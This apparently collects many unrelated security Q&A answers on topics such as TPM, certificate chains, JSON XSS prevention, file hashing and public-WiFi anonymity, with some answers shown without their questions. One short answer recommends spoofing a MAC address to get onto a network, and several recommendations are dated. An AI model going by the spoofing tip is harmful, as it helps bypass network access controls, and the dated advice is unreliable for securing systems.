If the bootloader was corrupted, it could just produce fake measurements leading to a successful boot (without any way for the TPM or any subsequent software to detect that).

You want to use a TPM for other reasons. Beside secure key storage, it's the job of the TPM to securely store measurements so they cannot be tampered with (especially after booting). Using remote attestation you can prove to a remote host that your PCRs hold good values. In fact, remote attestation is basically quoting with extra steps. There are many more things you can do with a TPM which I'm not going into for the sake of simplicity.

As for the actions authorized by policies: to perform actions on TPM entities (keys, data blobs, hierarchies, NV indices etc.), you may need policy authorization (depending on the entity's attributes userWithAuth and adminWithPolicy). There are many different entities with different actions, you cannot simply list them here. However, policy sessions only authorize actions on TPM-internal entities.


What is best way to pentest an AngularJS web app with a REST backend?

For Angular.JS, there is a very handy tool Batarang Chrome Extension in the Chrome Extension Store:

https://chrome.google.com/webstore/detail/angularjs-batarang/ighdmehidhipcmcojjgiloacoafjmpfk

For testing REST you can still use Burp, Fiddler or ZAP.

Here is a link to REST OWASP cheat sheet:
https://www.owasp.org/index.php/REST_Security_Cheat_Sheet


How can I improve security in a production environment?

The best option is to use a hardware security model (HSM) to encrypt/decrypt data in your database. But HSMs are expensive and can be awkward to use.

Without hardware support, you're going to have the chicken and the egg problem of where do you store the initial key. That said, adding one more layer of encryption, encryption before being stored in the database,  and storing the AES master password in a configuration file for the client does add security. An attacker who gets access to your DB, say due to a SQL injection vulnerability or DB misconfiguration, will still need to get access to the AES system master. So they'll need to compromise your configuration file or get access to your client's memory.

Be sure to rotate the AES master password frequently (maybe for each batch). This will reduce the harm caused by a DB compromise and key theft. I would also not store the AES master password in clear text. You can encrypt it with a 2nd static AES password that is hardwired into the code. This adds minimal security, but it prevents employees from accidentally printing the configuration file and exposing the password.


Sensitive information should never be transmitted using GET requests. The main reason is that users sometimes send links to eachother. Your system will probably fail to detect it when clients are behind a NAT router or a proxy.

If you are using sessions you might as well restart using cookies. I'm not really sure why you would need to put the session in the URL.


Changes in security measures after gaining objectively big social following in a short time period?

Standard security risk assessment model would give a tentative yes to increasing security. standard model evaluates risk as the likelihood of an incident and the cost of the incident balanced the cost of reducing the likelihood or cost of the incidence.

An increase in exposure, as measured by an increase in followers, would indicate and increased likelihood of an incident (more people know you exist, and a greater value of your account to those who would steal it -- increased quantity and quality of potential attackers). Presumably an increase from 1 to 500K followers would indicate greater revenue as well, so the cost of an incident (interruption of revenue, lost goodwill etc.) would increase as well

So you would want to balance that out as long as that was doable in a way that doesn't cost more than you're making. What options are available will depend on the platform(s) you're using and the level of control you have.


According to this TTP refers to the Tactics, Techniques and Procedures of cyber threats.

Edit:

  Traditional security measures like firewalls, IDS, endpoint protection, and SIEMs are only part of the network security puzzle. Cyber Threat Hunting refers to proactively and iteratively searching through networks or datasets to detect and respond to threats that evade traditional rule- or signature-based security solutions. It includes using both manual and machine-assisted techniques, and aims to find the Tactics, Techniques and Procedures (TTPs) of advanced adversaries.


I will just reverse your arguments concerning VeraCrypt. First, it is by no way a brand new tool, but it is a fork of TrueCrypt. The fork was done when TrueCrypt was discontinued, and that was allowed precisely because TrueCrypt was an open source product.

Secondly as far as security is concerned, the major opinion is that open source is better than closed source. Security must not rely on obfuscation (unknown algorithms) but on well known algorithms and thoroughly reviewed implementations and on secure keys.

So the fact that VeraCrypt is an open source project offers 2 guarantees:

if the team that currently manages the project, another team is likely to produce a new fork, so users will not be left with an abondoned and no longer maintained tool
as it is open source, experts can scrutinize the code and report vulnerabilites. I would never trust a closed source security tool.


Per-User Image DRM for Finding a Leaker?

What you are looking for is called "steganography" the process of hiding secret content in plain sight.

Exactly which technique or library is most useful to you depends on what you are trying to protect and you are trying to protect from.  It could be something as simple as playing with the exif metadata, or something that modifies the image content like Digimarc.  With a bit of research there are probably some appropriate open source tools you can bring in server-side to make the process happen dynamically.


The hash is done over binary data, not visible characters.

Likely there were invisible changes, like adding a missing end-of-line character or replacing all UNIX style end-of-line \n with Windows style end-of-line \r\n. Given that you've viewed binary data in a text editor it might also be that the text editor just removed or sanitized characters which made no sense as text (like invalid utf-8 sequences).

To see what exactly happened look for example at the file size before and after (did it change?) or compare the binary data for example using a hexdump of the versions.


Sniffing external networks from a public network (place)

Theoretically speaking, public WiFi networks do provide some level of anonymity. You are right in that since tons of people are behind a single public IP address, it is harder to trace malicious activity to an individual.

Practically though, a public network alone really doesn't provide enough anonymity to hide someone from law enforcement - mostly because unless you're really, really careful and know exactly what you're doing, you're probably going to leak information that allows the malicious activity to be traced back to you. It may help you get away with some run-of-the-mill illegal stuff (copyright violations, illegal torrents, that kind of thing), but if it's something serious that prompts a full-fledged law enforcement investigation, you're pretty much screwed if all you're relying on for anonymity is the fact that the network is public.

Most public networks will (or at least should!) keep some logs of network activity. Usually they record pretty basic information such as MAC addresses (essentially hardware ID numbers) of computers that connect, IP addresses that users communicate with, and possibly URLS that are visited, along with timestamps. This information is generally not enough to identify someone, but it can provide law enforcement with a starting point in an investigation.

So how might this work? Well, let's say your computer has a MAC address of A1:B1:C1:D1:E1:F1, and you decide to use the public WiFi network at a coffee shop to hack a website located at IP address 123.123.123.123. At this point, the website admin would of course look at the website logs and see that the attacks are coming from the coffee shop's IP. Law enforcement would then visit the coffee shop and request to see the logs of the public access point. They might see something like this:

02/21/2015 11:20:05 AM - Client A1:B1:C1:D1:E1:F1 connected to network
02/21/2015 11:23:31 AM - Client A1:B1:C1:D1:E1:F1 sent data to 123.123.123.123.

It provides some key information - they now know that the attack was definitely performed by someone who used the coffee shop's wifi, that the MAC address of the attacker is A1:B1:C1:D1:E1:F1, and that the attack occurred at around 11:23 AM on Feb 21. But it's still not enough to identify you.

But let's say you get a bit careless, and you decide to check your Gmail from the same computer. Now, the logs will look something like this:

02/21/2015 11:20:05 AM - Client A1:B1:C1:D1:E1:F1 connected to network
02/21/2015 11:23:31 AM - Client A1:B1:C1:D1:E1:F1 sent data to 123.123.123.123.
02/21/2015 11:25:01 AM - Client A1:B1:C1:D1:E1:F1 sent data to 216.58.217.133 (google).

It may seem like a pretty harmless action, but now there's enough information to identify you. At this point, law enforcement would probably get a court warrant and ask Google, "We are trying to trace some malicious activity from [coffee shop's IP]. Did anyone log in to their account from [coffee shop's IP] at 11:25 on Feb 21?" Of course, Google would then check their logs and say, "Yep, someone logged in to an account belonging to [your name]," and your identity would be revealed.

Even if you were careful and didn't log in to your Gmail account manually, programs running on your computer could do essentially the same thing. Email clients, cloud storage sync clients, chat clients, and even your browser could automatically log you in to something that reveals your identity in this manner.

There's also browser fingerprinting. When you visit websites, your browser provides a string of text (called a user agent) to the site that identifies the browser and operating system version. This is mostly so that websites can improve user experience by providing different versions of the site for different browsers. In addition to the user agent, websites can request additional information such as the types of compression supported, plugins that are installed, etc. etc. Together, a website can gather so much information that your browser is essentially unique. If you want to see this for yourself, you can visit this site to see the information that your own browser is providing.

Browser fingerprinting could be used for tracking in various ways, but let's say that the website you hacked fingerprinted your browser. Then you go home, and at some later point in time (maybe months later), you decide to visit the website you hacked from your home connection, using the same computer/browser. The website admin would notice that your browser's fingerprint matches the earlier attacker's exactly, and now they have your home IP address.

Finally there's the physical aspect - chances are, the coffee shop's customers are pretty much limited to people who live close to it. If law enforcement can't find the attacker with digital evidence, they can always revert to old school forensics and check transaction records, narrow down suspects, interview people in the area, etc.

Obviously there are other ways beyond the one's I've mentioned, but hopefully this gives you an idea of how it might be done. Mostly, it comes down to linking the various traces that you leave on the Internet combined with diligent old-fashioned forensics work.


How to approach 2 tier PKI RSA Root CA with subordinates that should support ECDSA

This is actually not uncommon. Just have a look at google.com when forcing ECDSA ciphers:

$ openssl s_client -connect google.com:443 -servername google.com -cipher 'ECDSA' -showcerts
...
Certificate chain
 0 s:/C=US/ST=California/L=Mountain View/O=Google LLC/CN=*.google.com
   i:/C=US/O=Google Trust Services/CN=Google Internet Authority G3
-----BEGIN CERTIFICATE-----
MIIHxzCCBq+gAwIBAgIIEW2Lf7xzMtQwDQYJKoZIhvcNAQELBQAwVDELMAkGA1UE
BhMCVVMxHjAcBgNVBAoTFUdvb2dsZSBUcnVzdCBTZXJ2aWNlczElMCMGA1UEAxMc
...
-----END CERTIFICATE-----
 1 s:/C=US/O=Google Trust Services/CN=Google Internet Authority G3
   i:/OU=GlobalSign Root CA - R2/O=GlobalSign/CN=GlobalSign
-----BEGIN CERTIFICATE-----
MIIEXDCCA0SgAwIBAgINAeOpMBz8cgY4P5pTHTANBgkqhkiG9w0BAQsFADBMMSAw
HgYDVQQLExdHbG9iYWxTaWduIFJvb3QgQ0EgLSBSMjETMBEGA1UEChMKR2xvYmFs
...
-----END CERTIFICATE-----

openssl x509 -text on the first certificate (*.google.com) shows that it is as expected an ECC certificate, but that it is signed by an RSA key (sha256WithRSAEncryption):

    Issuer: C=US, O=Google Trust Services, CN=Google Internet Authority G3
    ...
    Subject: C=US, ST=California, L=Mountain View, O=Google LLC, CN=*.google.com
    ...
    Subject Public Key Info:
        Public Key Algorithm: id-ecPublicKey
            Public-Key: (256 bit)
            pub:
                04:94:3c:36:cd:84:17:27:5d:cb:a5:af:ff:b5:4a:
                ...
            ASN1 OID: prime256v1
            NIST CURVE: P-256
Signature Algorithm: sha256WithRSAEncryption
     8a:52:2c:ec:e0:ee:c4:18:33:71:38:10:ea:55:2a:62:68:13:
     ...

The issuer of this certificate is as shown Google Internet Authority G3 and looking at the details of the second certificate provided by the server shows as expected that it has a RSA public key:

    Issuer: OU=GlobalSign Root CA - R2, O=GlobalSign, CN=GlobalSign
    ...
    Subject: C=US, O=Google Trust Services, CN=Google Internet Authority G3
    Subject Public Key Info:
        Public Key Algorithm: rsaEncryption
            Public-Key: (2048 bit)
            Modulus:
                00:ca:52:4b:ea:1e:ff:ce:24:6b:a8:da:72:18:68:
                ...

Creating an certificate with an ECC public key signed by a CA certificate with a RSA public key is nothing special: just create a CSR for the certificate with an ECC public key and let it sign by the CA. There is no difference in signing an ECC certificate vs. a RSA certificate.


How can I prevent reflected XSS in my JSON web services?

Encode unsafe characters in the response (how do I do this? using \uxxxx?)

Yes. < to \u003C in particular.

There may be an option in your JSON encoder to do this already (eg in PHP, JSON_HEX_TAG); otherwise, it's a simple job to do a string replace after the encoding. (This is safe as there is no place a < may legally be used in JSON other than in a string literal.) At this point you can also include the leading chaff to prevent cross-origin script inclusion.

I would send as application/json as a matter of correctness, but I wouldn't trust every older browser to necessarily honour it. Relying on the X-Requested-With header is generally problematic as it doesn't play well with caching, though that may not be a concern for you.


How to tell ordinary spam from some abusing my mail?

If they are sites, where you are allowed to log in, you could try resetting your password. That being said, there is little reason to do that. It could provide the site with additional information about you and it could allow some amount of phishing, so you need to be careful with this.

One danger I can think of is the site forwarding you a link/code for a different site and then using this code to confirm them as the owner of the email.

If the site does not have such functionality, then I can't see any easy way to do this.


generate certificate at runtime and validate

You are proposing doing it backwards.  It doesn't do you any good to hold a private key on the server and hand out a public certificate to be used to validate the client.  Instead, you want the client to make a key pair and submit the certificate to the server to be stored.  The server can then use the certificate to generate a challenge for the client to prove they hold the private key for that client.

Don't invent your own security, it will not be secure.  The system you propose is broken and insecure as you described it as the public key is not designed for proof of identity, nor is simply sending the thumbprint a way to validate it.


Detecting and removing Absolute persistence technology

"Absolute persistence technology is built into the BIOS or firmware of a device during the manufacturing process."

So, in addition to removing the agent, you will need to flash the BIOS or firmware of the device, with a version without the technology.

Since "core boot is a Free Software project aimed at replacing the proprietary BIOS (firmware) found in most computers", it is potentially part of an answer.

Of course, you haven't specified a device, so it's impossible to provide you with a detailed answer.  The only correct answer is 'it depends'.

The functionality of the technology requires that removing it remain infeasible, so its quality/repuation hinges on us being unable to provide you with a detailed answer.

It's really not one technology, but many; review the NSA's ANT technology codenamed DEITYBOUNCE, IRONCHEF, FEEDTROUGH, GOURMETTROUGH, etc; see https://commons.wikimedia.org/wiki/Category:NSA_ANT...


Symantec - when replacing an SSL certificate, how long is the existing certificate valid for?

The life time of a certificate starts with the time seen in the "Not Before" property of the certificate and ends with the time given in the "Not After" property. You can have multiple certificates for the same domain which are all valid and you can switch between these as long as these still have a valid life time and are not explicitly revoked. This means there is no implicit termination of an existing certificate if you get a new one.

But, according to an answer to SSL certificate renewal and downtime due to revocation
 some CA do an implicit revocation of the old certificate if re-keying is requested which makes the old certificate immediately invalid even though the life time properties might say different. Thus check before you initiate the replacement what this replacement process is actually doing at your specific CA, i.e. if it involves revocation or not. But according to Replace an SSL Certificate from Symantec Trust Center account Symantec does no automatic revocation when replacing an existing certificate:

  Replacing an SSL certificate does not add the certificate to Certificate Revocation List (CRL) or immediately flag the certificate as revoked status through Online Certificate Status Protocol (OCSP) responder.


How does the "emergency access" feature of LastPass work?

While the strict answer to the question can be found in the LastPass Help Centre, what is interesting on the info they provide is that by enabling it you make your account as secure as the master password of the relying party (on a threath model where the attacker has access to encrypted data like lastpass has).

If you have a strong one, but the other person uses a weak one, the attacker (or lastpass) could get into your passwords.


Which hashing algorithm shoud I use for a safe file checksum?

Choice of hash algorithm

Use SHA-256 or SHA-512: either of the two “main” members of the SHA-2 family. SHA-2 is the successor of SHA-1 and is considered secure. It's the hash to choose unless you have a good reason to choose otherwise. In your case the choise between SHA-256 and SHA-512 is indifferent. There is a SHA-3 but it isn't very widely supported yet and it isn't more secure (or less secure) than SHA-2, it's just a different design.

Do not use MD5 or SHA-1. They are not obviously unsuitable in your scenario, but they could be exploited with a bit of extra work. Furthermore the fact that these algorithms are already partially broken makes them more at risk of getting more broken over time.

More precisely, for both of these hashes, it is possible to find collisions: it is possible to find two documents D1 and D2 such that MD5(D1) = MD5(D2) (or SHA-1(D1) = SHA-1(D2)), and such that D1 and D2 each end with a small bit that needs to be calculated and optionally a common chosen suffix. The bit that needs to be calculated will look like garbage, but it can be hidden in a comment, in an image that's shifted off-page, etc. Producing such collisions is trivial on a PC for MD5 and is doable but expensive for SHA-1 (unless you want it for two PDF files, in which case researchers have already spent the money on the calculation to find one and published it).

In your scenario, you mostly don't care about collisions, because you'll be producing D1. You aren't going to craft this bit in the middle. However, there's a risk that somebody could trick you into injecting this bit, for example by supplying an image to include in the document. It would be pretty tricky to achieve a collision that way, but it's doable in principle.

Since there's risk in using MD5, and zero benefit compared to using SHA-256, use SHA-256.

What to do with a hash

With a non-broken cryptographic hash like SHA-256, what you know is that if two files have the same hash then they're identical. Conversely, this means that if two files have different hashes, then they're different. This means that if you keep a trusted copy of the hash (for example you print it out and store it, or notarize it), then you can tell later “yes, this file you're showing me is the same file” or “no, this file you're showing me is different”.

Knowing the hash of the file doesn't prove that you wrote it. There's no cryptographic way to prove authorship. The best you can do is to prove that you had the file earlier than anyone else who can prove it. You can do that without revealing the file by communicating the hash to a third party who everyone trusts to correctly remember the date at which you showed them the hash; this third party could be a public notary, or the Wayback Machine if you put the hash on a web page that it indexes. (If you publish the hash, then in theory someone could figure out the file from it, but there's no better way to do that than to try all plausible files until they find the right one. If you are concerned about this then use a signature of the file instead of a hash, and notarize the signature and the public key but keep the private key to yourself.)

Example of something a hash is good for: your customer wants support, but you're only prepared to support your original product and not a modified product. So you get them to calculate the hash of what they want you to support. If the hash value is not what you provided, you refuse to provide support. Note that you need to trust the customer to calculate the hash of the product, and not calculate the hash of some copy of the original or read it off the delivery slip.

Example of something a hash is not good for: somebody else claims that they're the author of the document. You say “no, look, I know its hash, it's 1234…”. That doesn't help: anybody can calculate the hash.

Example of something a hash is good for if used appropriately: somebody else claims that they just wrote the document. You say “no, look, I notarized the hash 6 last year, so you can't have written it last week”.

Example of something a hash is not good for: somebody makes a slight modification of the document. It'll then have a different hash. All you can say is that the document is now different, but that doesn't convey any information about how different they are. The hash of a completely different document is just as different as the hash of a version with a typo fix, or a version that's encoded differently.


How to prevent yourself from exploitable browser?

If an attacker has a sandbox-bypassing 0day exploit, there is little you can do. The best way of preventing this from happening is having good web-browsing hygiene.

Things you can do to limit your risk of infection:

Run an Add blocker (advertisements are often targetted as they're widespread across different websites)
Run no-script plugin (to prevent unwanted redirection)
Don't visit dodgy websites, but only visit reputable websites
Try to use SSL as much as possible


What are the practical risks of using IKE Aggressive mode with a pre-shared key?

When you're using Aggressive mode, the authentication hash, (pre-shared key) is transmitted as response to the initial packet of the vpn client that wants to establish an IPSec Tunnel. The hash (pre shared key) is not encrypted. If an attacker can capture these session packets, they can run an attack to recover the PSK. The attack only affects aggressive mode because main mode encrypts the hash. For more on this, see Cisco's Main vs. Aggressive Mode tidbit. Be aware, there are security tools to make these attacks simple (ikescan, etc) see: http://blog.spiderlabs.com/2013/03/cracking-ike-aggressive-mode-hashes-part-1.html


Distinguishing features of TPM from software solutions

The three principle benefits of a TPM are:

Anti-hammering
Isolation
Non-exportability

Anti-hammering is noticed when the incorrect matching credentials for a key are supplied one too many times, causing a temporary lock. The lock is released automatically after a minimum amount of time transpires. It can also be released by the admin entering a PIN unlock key.

Isolation reflects the fact that the TPM operates in a memory space that cannot be read by software or the operating system. Only limited and specifically formatted input is allowed to go into a TPM, and the response is also highly specific and limited. Isolation is beneficial to security in that it prevents monitoring or altering with internal TPM operations.

Non-exportability is a configurable quality of keys that are born on a TPM. Not all TPM-generated keys need be non-exportable; if configured to be exportable, the TPM enables a key to be exported. One benefit of non-exportability is that you can tie a key pair to a specific hardware device, effectively making that hardware required in order for the private key to be utilized.

A practical step-by-step guide for establishing an SSH connection to a server with a key pair, and with the private key safely isolated within a virtual smart card on a TPM, is here:

https://security.stackexchange.com/a/179422/68088


The easiest way would be to just spoof your MAC adress. Just listen to the network, watch which MAC adresses are able to connect and then give your own device the same MAC adress.


Domain names are cheap. Attackers are quite happy to register a domain to use in a single campaign. At some point thereafter the domain will be red-flagged by reputation services, but by that time the attacker has moved onto the next one.


What steps do you take to keep both your computer and internet browsing secure?

I suggest running Win7 inside Win7 using VirtualPC and revert to an original snapshot before and after browsing. I use EMET to lock down Win7 further, and the CIS benchmarks are also worth investigating. Using BitLocker with a TPM chipset board is good not only for confidentiality (using full-disk encryption) but also for file integrity.

Firefox without Flash, Silverlight, or Java installed and running NoScript (but tuned) works nicely for the time period that you will be browsing. If you're going to run Flash (e.g. YouTube or Flash movie) or a Java applet, open Chrome, watch it, and then close out all instances. You should probably use file integrity monitoring on browsers, browser plugins, and common system managed-code VMs such as your JVM, Flash engine, and .NET CLR.

If you have a work connection, avoid VPN and instead use SSL-only Outlook Anywhere (not OWA), use S/MIME encryption at the message level, and additionally store OST's on a BitLocker, Truecrypt, or similar volume. Unless you're a sysadmin and are constantly performing tasks that require a VPN -- don't log into it. It's safer for you and everyone if you just never use the VPN. I might suggest creating a special VM-guest or have a special laptop just for VPN if you do require it. OpenVPN with client-side certs is probably a fairly good VPN solution compared to the commercial offerings, which are all equally bad and promote security theater.

Anti-Virus agents are a waste of time/resources (and probably make you less secure), but it might be a good idea to occasionally scan VM-guests or Host OSes using an outside scanner, and the Symantec one isn't awful for this purpose, although some information I've seen leads me to believe that Kaspersky, Avira, NOD32, Gdata, and Sophos are sometimes superior (see http://av-comparatives.org). There's a lot of security theater here, too.

This is going to sound really crazy for mobile security, but I guess that I suggest getting a (non-GSM, non-iDEN) BlackBerry but setting up your own Windows SBS machine with BES Express (all with CIS-benchmark/etc hardening guidelines to remove things like BlackBerry off-line backup, etc). Probably best to not use your real name on the BES server or the Blackberry, and somehow mask the real names of all of your contacts whenever and however possible (first name, first initial of last name works ok, right?). The alternative here is an iPhone 3GS using the CIS benchmark and the built-in iOS full-disk encryption, S/MIME for mail, don't use full real names, etc, but note that the GSM network is fairly insecure compared to say, the networks of Sprint or Verizon in the US. If you sync the iPhone with iTunes, be very careful to note that iTunes now contains the password to the iPhone.


MySQL password rotation: Using a single user to change other user passwords

This is the best-practice way to do it, for exactly the reasons you outline. By having the Lambda use a role for authentication instead of credentials, you minimize the number of secrets you keep around, which is definitely a good thing. There are only 2 things worth pointing out:

You can now use CloudFormation to automate the provisioning and deployment of a special purpose Lambda for just this. As a result you can do this with relative ease. I'm not personally a big fan of CloudFormation but I would use it here anyway.

Switching to the metadata V2 endpoints can provide some additional security from SSRF found in your infrastructure as well as other forms of break-in, although that won't be very relevant in this use-case.


How to know if firmware is stealing my information?

You could use a tool like Wireshark to analyze your outbound traffic (you need to be upstream of the device) and look for unexpected/suspicious outbound traffic.  Of course, it could be infrequent or only triggered by certain activities, so you'd need a large volume of data to analyze.  And you'd need to be able to analyze (at least traffic analysis) the encrypted traffic as well as plaintext.

Alternatively, you can dump the flash of your devices and reverse-engineer the firmware in the devices.  Of course, you'll need to consider all the firmware:

Cell Phone

Android OS & Apps
Bootloader
Baseband (GSM/LTE)
Bluetooth
Wifi Controller

Router

Router OS (Linux, VxWorks, RouterOS, JunOS, iOS, etc.)
Wifi Controller
Modem (if applicable)

And don't get me started on a laptop or desktop...

So, long story short, you're talking about a project of immense proportions, something that's one of the big open questions in security.  How do we trust the hardware?  See all the stories about NSA implants and the questions for enterprises trying to secure their infrastructure.

Depending on your threat model, you might be able to find some things, but it's nearly impossible to be sure there's nothing unless you're making all your own chips & software.


How bad is the leaking of Internal IP addresses through external DNS

There is probably no great harm from revealing internal IP addresses inside the firewall.  While there are some risks, they seem fairly modest to me.

Here are the risks I can see:

Information gathering. It reveals something about the internal IP ranges in use.  If an attacker were to breach some internal system, this information might make an attacker's life somewhat easier, by suggesting some other internal systems that the attacker could go after.  It might also reveal a little bit about organizational structure.
CSRF attacks. It might also make CSRF attacks slightly easier.  In a CSRF attack, a user inside the firewall visits a malicious website, and the malicious website sends back to the user's browser a HTML document that causes the user's browser to connect to another machine.  If the malicious website knows the address of another internal machine, it can try to trigger a connection to that internal machine and attack it (subverting the organization's firewall).  However, these attacks can also happen even without knowledge of other internal machines (e.g., Javascript can be used to portscan internal machines), so while knowledge of an internal machine's address may increase the risk somewhat, it is not essential to an attacker.

Based on this, I wouldn't stress out too much about trying to prevent internal IP addresses from leaking.  There will probably be other security activities that are a better use of your time and should be a higher priority.


If the device is capable of recording data for later use, I would expect it to either have some sort of data storage capability, or some sort of wireless connectivity (because a wired connection would be harder to conceal). So my first guess would be to scan the area to see what networks are active there, there's smartphone apps that can do that for you. If no luck, just take a good look at it to see if there are any ports (likely usb or SD) on it, or any panels which look as if they're removable.

Secondly, if the device has a serial (or similar) number, it might be worth to google that.

Thirdly (and probably most effectively) going from your story I assume your building will have a landlord or a congierge or someone similar. You could just ask them if they installed a device and/or authorised the scary man to do so.


What's the most secure technique for authenticating user in a website?

"Security" encompasses the whole system, including your server, your database, the transport mechanism between client and server, the client's browser... and the human user. Usually, this last item will be the bottleneck of security. You can (and should) do a lot of things to process the password correctly (use HTTPS for transfer, store only a properly hashed version of the password,...) but, ultimately, your security won't be greater than the care with which the user will choose and keep private his password.

You can help the user with education and providing password generation tools, taking care to flatter the user into cooperation, rather than constraining him into submission (angry users are never a good thing for security). Yet standard passwords will only get you that far (by "standard" I mean "passwords which human users remember in their mind").

Heavier methods with at least potential for stronger security include:

one-time passwords, either printed on a paper or generated on-the-fly by a hardware device such as this one;
SSL client certificates, stored in the entrails of the user's machine, or, for better resilience, in a smart card;
biometric systems, which make sense, security-wise, as long as the physical characteristic which is thus measured is reasonably secret (e.g. a retina scan, as opposed to face recognition, because your face is not secret at all, you show it to everybody every time you go in the street) or there is a contextual feature (an armed guard) which ensures that you are putting your own real biological finger on the fingerprint reader;
combinations of several of the above.

Security practitioners often talk of multi-factor authentication as a generic classification framework for authentication methods, which may help in assessing what kind of attacks the system would resist to (this classification is often abused into simplistic judgements such as "2FA is good, 1FA is bad", which more relate to administrative compliance and public relations than actual security).


How to store secret key used for hashing?

All I can think of is....

1) Use a lookup table to map SSNs to salts (or random identifiers for the persistent anonymized data) but keep this a long way away from the persistent, anonmyzed data. Both the datasets need to be compromised to resolve the data.

2) as per 1 but key the random value/random salt by a hash of the SSN (and keep the lookup table seperate). This adds some Security value over 1, but not a lot. Both datasets need to be compromized for the data to be resolved.

3) as per 2 but hash the SSN key using a static salt (i.e. storing hash($ssn, "staticsalt")->secret). Ideally keep the satic salt somewhere other than the 2 existing data stores. Once again this only adds a little Security value

4) use other information about the subject (if available) to increase the amount of entropy in the data used to create the hash. This would make it more difficult to deanonymize the data but doesn't impact the ability to find an individual in the dataset if their details are known.


CVE-2015-7547 vulnerability, if the glibc used is below 2.23 , but does not uses getaddrinfo

While you might not use the function in question, some other library function might use is somewhere, which potentially opens the vulnerability for exploit.

It is therefor hard to know without actual (pen-) testing whether your application is vulnerable to this vulnerability.


There is a concept called TOFU(Trust On First Use) along with HSTS. You need add your URL to the HSTS Preload List to enable your first request with HSTS. It is checking your HSTS attributes such as  max-age and includeSubDomains etc... and adds your site to the list if it compliance.

You can check existing HSTS enabled site list in the chromium project git. You can load one of these correctly implemented HSTS sites and check how those are behaving.

You can check the browser (chrome) related HSTS settings using this url


Can we send IP request to a user by knowing their mobile number?

Only the mobile service provider has the current mapping between a mobile number and the current IP address of a phone. This means that you cannot contact another user using an IP based data service just by knowing its mobile number.


Steam has about 100 million users (random link saying they had 75 million almost 2 years ago). If they spend on average $10 per year, we're talking $1,000,000,000 per year - and I'd say that's a conservative estimate (random link saying they had 1 billion in revenue back in 2010). That's the same kind of money small banks deal with.

Then there is almost certainly a large number of low tech attackers. Steam is used by a lot of kids who don't yet have a proper understanding of legality, so at least some of them will try to steal the account of that other kid that smells funny. To be clear: "some" of 100 million is "lots".  These attackers often live in the same town and maybe even saw the other kid typing in the password before, which breaks some traditional safeties based on IP range and passwords. Stolen accounts create customer support costs. Widespread reports of stolen accounts create bad press, which destroys trust. For a digital market, trust is money.

Valve also works with a huge number of partners. These partners can act maliciously and try to break/abuse the billing process, which will directly hurt Steam's reputation and therefore lose Valve some serious money, unless the abuse is detected and dealt with swiftly.

EDIT:

  [...] enough money now moves around the system that stealing virtual Steam goods has become a real business for skilled hackers [...] We see around 77,000 accounts hijacked and pillaged each month. - 9 Dec 2015 http://store.steampowered.com/news/19618/

So in addition to a large number of low tech attackers, there's a large number of high tech attackers as well.


DRM - Make sure that a SDK is used by the client legally

It's essentially a legal problem - you want to control what is running on a client's device, which means you'll need the co-operation of the client.

For a company providing a web based API (e.g. your SDK does some kind of interfacing with your web based service, possibly by implementing some encryption, or special transport method), this is down to monitoring the service, looking for unusual patterns. You could bill on a per request basis (don't care where the requests come from, but if they suddenly start using more, you get more money). You could look for changes in key elements being sent (if you're suddenly getting data reflecting both Windows and Linux hosts, you can be fairly sure the client is using two copies on different systems, and block one).

In your case, though, based on the question as it stands now, you have no interaction with the individual requests (you interact once, when they initialize the framework, but then allow use through some method). It's like your SDK is an image file which the client has been asked to only use in one place. If the client copies it, you don't know. If they run it on a different machine, you don't know. If they run multiple applications on a single machine all using it, you don't know.

So, what are your options?

Hardware dongle. Done properly, they restrict the use of software to a specific machine. This generally requires moving parts of your software into the dongle, else it becomes trivial to strip out any checking code from your software. This also doesn't prevent multiple applications on the same system from using the software - if it can legitimately be used from one, it's possible to copy the data being sent to the dongle from another.
Change your model to be web/network based. Now you can see what's going on, but you may limit the uses of your software. Depending on what it does, it might not be suited for the latency this would introduce, or there may be limitations on where your client's data can be sent (e.g. EU data to US servers can be problematic, at times).
Change your pricing model. Allow clients to use the software as much as they want, but charge more up-front. Make the software free, and charge on a support basis. Charge less, to encourage people to buy multiple copies if they use it in multiple places. These are all models that various companies use, to varying degrees of success.
Be really selective with clients. If you don't trust your clients to abide by your licensing terms, the only really sure way to prevent abuse is to only let people you do trust have access. Require third party "running software" audits on client networks, looking for abusive use of your code. I've never seen a company succeed on a large scale with this model, but it can apply to some specialist areas, such as sensitive control systems.

Some big companies have used some of these: Microsoft, for example, uses ongoing web based authentication - after an initial check, Windows/Office apps ping home every so often to see whether they have been deauthorised. Red Hat charge for the software (but you can get most of it for free), but they charge more for the support, and they check licensing details with support requests. There are some specialist software packages (especially in academic fields) where you only get access to them after attending training on how to use it, which is essentially a form of being selective with clients - the theory is that it cuts down on "trivial" questions from new users. NXP (a large semi-conductor company) offer dongles for some of their development tools, on the basis that not all users have network connectivity.

Depending on how your initialization code works, it's even possible that a really unscrupulous client could simply look at the return value from your servers, and provide that themselves - this would be the case if the method returned a true/false response when provided with a username/password combination, but also if it returned some fixed or predictable value (hash of the current time, or a pre-determined string).


In what ways site administrators can detect incoming CSRF attacks?

You implement a CSRF token on every vulnerable form. When there is a CSRF error, it is logged, so you "detect" it (do note that it might be a false positive, such as having cleared the cookies). If you protect from CSRF attacks, I don't think it would be woth preparing such attack, as it won't work.
You might do some checks based on Referer header, which could allow you to detect certain CSRF attacks. Although that depends on the browser and settings, if there's no referer header (which could be suppressed by the attacking page on modern brower) you would receive no information.


Why use random value when overwriting files?

Multiple overwrite passes with random values were recommended in the 1980s and 1990s, as described in the history recounted by @FlorianBidabe.  Back when data was encoded on disk platters that had physically wide read/write heads and space between the tracks to ensure data isolation, a write head might erase 80% of the magnetic media holding the bit, ensuring the drive's crude electronics couldn't read it.  But these loose tolerances left 20% of the magnetic domain behind, which were exploitable by someone looking to recover data from a disk.  Writing random data instead of all zeroes helped mask the original value of the bit.  It was discovered that multiple passes of writes increased the chances that more of that remaining 20% would be overwritten, giving people more confidence their data was truly unrecoverable.

This recommendation is no longer applicable to modern disk hardware.  The reason is that hard drive manufacturers have been improving manufacturing tolerances to increase the data density on disk drives.  That 80% sloppy write head of yesterday was replaced with more accurate motors, smaller read/write heads, and completely new technology such as vertical recording of magnetic fields.  Today, an encoded field occupies a tiny space of only a few atoms on the platter, which is how manufacturers can get data densities in the range of 2.5 TB/square inch or more.

